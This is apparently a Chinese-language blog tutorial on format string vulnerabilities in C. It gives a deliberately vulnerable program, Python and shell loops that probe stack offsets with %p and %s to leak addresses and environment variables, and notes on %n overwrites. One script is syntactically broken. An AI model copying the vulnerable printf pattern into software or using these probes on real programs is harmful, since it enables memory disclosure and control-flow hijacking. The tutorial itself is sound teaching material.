guest@blog.cmj.tw: ~/posts $

Format String Attack


old-trick of the Twentieth Century

這是一個有 Format String 漏洞 的範例程式:利用執行程式時帶進來的參數當作是原始字串, 並輸出在螢幕上。但如果輸入的字串帶有原本 c 的 格式化符號 時,就會有機會改變程式的流程。

/* Copyright (C) 2015 cmj. All right reserved. */
#include <stdio.h>
int Vuln(const char *argv) {
    char buf[32] = {0};
    snprintf(buf, sizeof(buf), "Hi, %s\n", argv);
    printf(buf);
    return 1;
}

int main(int argc, char *argv[])
{
    if (Vuln(argv[1]))
        return 0;

    printf("Pwn\n");
    return 0;
}

簡單的編譯這個程式並且作一點測試,確定他是可以被攻擊的狀態:可以注意到,當我們送入 %p 的時候,會得到 0x4006ca 的結果。這代表他本身帶有 fmt string 漏洞的可能性。

> ./a.out '%p'
Hi, 0x4006ca

接下來,用一個簡單的方式來確定是否有 buffer overflow 的問題存在:

#! /usr/bin/env python

import commands
buf = ''

for n in range(1024):
    cmd = './a.out {0}'.format('A'*n)
    ret = commands.getoutput(cmd)
    if buf == ret:
        print 'No buffer overflow: buffer size should be {0}'.format(n)
        break
    buf = ret

在我們的測試程式中,可以發現最多塞入 28 個字元就會被 truncate 掉。所以初步判斷他沒有 buffer overflow 的問題。順這個邏輯,我們也知道 buffer 大概會有 28 個連續區段會是 NULL (如果程式有寫好的話)。接著用一個 for 迴圈快速判斷我們有哪些值,可以利用這個漏洞拿到:

#! /usr/bin/env python

import commands

def Foo(n):
    cmd = './a.out \'AAAA %{0}$p - %{0}$s\''.format(n)
    status, ret = commands.getstatusoutput(cmd)
    if not status:
        return ret
    cmd = './a.out \'AAAA %{0}$p\''.format(n)
    return commands.getoutput(cmd)
for _ in range(1, 51):
    print '{0:<4} - {1}'.format(_, Foo(_))

在沒有 Python 環境下,也可以直接使用 shell 執行 for n in $(seq 1 30); do ./a.out $(python -c "print(\"AAAA-${n}-%${n}\$p-%${n}\$s\")"); echo ''; done, 這樣可以直接顯示哪一個位址可以被控制等。

這樣我們就可以得到部分的系統資訊。需要注意的是 C 程式的特性,當輸出的結果為字串時, 會自動在 0x00 的時候停止,或是在不可讀取的記憶體空間產生 SIGKIL 等錯誤訊息。 在下面訊息中可以發現到當取用第 4/7 個變數時,剛好就是我們輸入的變數值。 而第 45 個變數的時候剛好就是檔案的名稱,第 46 個也就是我們輸入到執行檔的參數, 而第 48 個變數之後的也就是環境變數。如果願意的話,可以印出來更後面的記憶體位址, 就會發現檔案開頭的 ELF

1    - Hi, AAAA 0x4006ca -
2    - Hi, AAAA 0x7fffb63830e5 -
3    - Hi, AAAA 0x7ffffff2
4    - Hi, AAAA 0x7ffdb444480a - AAAA %4$p - %4$s
5    - Hi, AAAA 0x9
6    - Hi, AAAA 0x7f3ad50ad130 -
7    - Hi, AAAA 0x7ffd3946f80a - AAAA %7$p - %7$s
8    - Hi, AAAA 0x41414141202c6948
9    - Hi, AAAA 0xa7024392520
10   - Hi, AAAA (nil)
11   - Hi, AAAA (nil) - (null)
12   - Hi, AAAA 0x7fff66af5750 - @@
13   - Hi, AAAA 0x40061e - …Àt¸
14   - Hi, AAAA 0x7ffffadeb008 -
15   - Hi, AAAA 0x200000000
16   - Hi, AAAA 0x400640 - AWAVA‰ÿAUATL%Ö
17   - Hi, AAAA 0x7fdbe75c7790 - 䂏W
18   - Hi, AAAA 0x7fffeec0a0e8 -
19   - Hi, AAAA 0x7fff458d1e08 -
20   - Hi, AAAA 0x200000000
21   - Hi, AAAA 0x4005fc - UH‰åHƒì‰}üH‰uðH‹EðHƒÀH‹
22   - Hi, AAAA (nil) - (null)
23   - Hi, AAAA 0xa95267e549c53dac
24   - Hi, AAAA 0x4004a0 - 1íI‰Ñ^H‰âHƒäðPTIÇÀ°@
25   - Hi, AAAA 0x7ffdeb59bfb0 - 
26   - Hi, AAAA (nil) - (null)
27   - Hi, AAAA (nil) - (null)
28   - Hi, AAAA 0x8dae2705ed739cfa
29   - Hi, AAAA 0xcb6f93f220bda20d
30   - Hi, AAAA (nil) - (null)
31   - Hi, AAAA (nil) - (null)
32   - Hi, AAAA (nil) - (null)
33   - Hi, AAAA 0x400640 - AWAVA‰ÿAUATL%Ö
34   - Hi, AAAA 0x7ffcac87e128 -
35   - Hi, AAAA 0x2
36   - Hi, AAAA (nil) - (null)
37   - Hi, AAAA (nil) - (null)
38   - Hi, AAAA 0x4004a0 - 1íI‰Ñ^H‰âHƒäðPTIÇÀ°@
39   - Hi, AAAA 0x7ffed0e0f9c0 - 
40   - Hi, AAAA (nil) - (null)
41   - Hi, AAAA 0x4004c9 - ôfD
42   - Hi, AAAA 0x7ffee66674c8 - 
43   - Hi, AAAA 0x1c
44   - Hi, AAAA 0x2
45   - Hi, AAAA 0x7fffc81e4800 - ./a.out
46   - Hi, AAAA 0x7ffd88fed808 - AAAA %46$p - %46$s
47   - Hi, AAAA (nil) - (null)
48   - Hi, AAAA 0x7fffeb85c81b - XDG_SESSION_ID=c2
49   - Hi, AAAA 0x7ffce28da82d - SHELL=/bin/bash
50   - Hi, AAAA 0x7ffd33fca83d - TERM=screen

這時候我們放一點關心在非 0x7f 開頭的記憶體空間:通常來說,靜態 (stack) 決定的記憶體空間, 都放在連續空間的開頭,而動態 (heap) 產生的則是從後面開始堆疊。如果要控制程式的流程的話, 我們就關心一下 0x4000 開頭的記憶體空間。如果站在 全知全能 的角度,我們就知道第 13 個變數 (0x40061e) 就是呼叫完 Vuln 之後的下一個 指令 。這樣我們可以利用 %n 這個方式來寫入值到記憶體空間,進而改變原本的流程。

另一方面,我們可以發現第八個變數回傳的記憶體空間是 0x41414141202c6948, 這點跟其他的狀況很不一樣。如果我們把開頭的 AAAA 換成 BBBB,那回傳的記憶體開頭則會變成 是 0x42424242,這就告訴我們第八個變數的內容,會跟輸入的內容有關。 但是這樣只能寫入部分的記憶體,所以需要更詳細的 payload 才可以讀取任意記憶體空間: 藉由填入更長的 payload (但是又不能超過 buffer 大小),來精準定位 paylod 的大小, 以及需要操作的變數。

#! /usr/bin/env python

for _ in range(1, 100):
    cmd = './a.out \'AAAAAAAAAAAAAAAA %{0}$016llX\''
    print commands.getoutput(.format(_))

經過這樣測試之後,我們就知道當輸入 12 個 A之後,後面的 8 個 A 會被塞入到第 9 個變數記憶體空間當中,這樣就可以讀取完整檔案的內容。

Hi, AAAAAAAAAAAAAAAA 00000000004006DA
Hi, AAAAAAAAAAAAAAAA 00007FFDEEF6988F
Hi, AAAAAAAAAAAAAAAA 000000007FFFFFE1
Hi, AAAAAAAAAAAAAAAA 586C6C3631302434
Hi, AAAAAAAAAAAAAAAA 000000000000001A
Hi, AAAAAAAAAAAAAAAA 0000000000000002
Hi, AAAAAAAAAAAAAAAA 00007FFD33AB4800
Hi, AAAAAAAAAAAAAAAA 41414141202C6948
Hi, AAAAAAAAAAAAAAAA 4141414141414141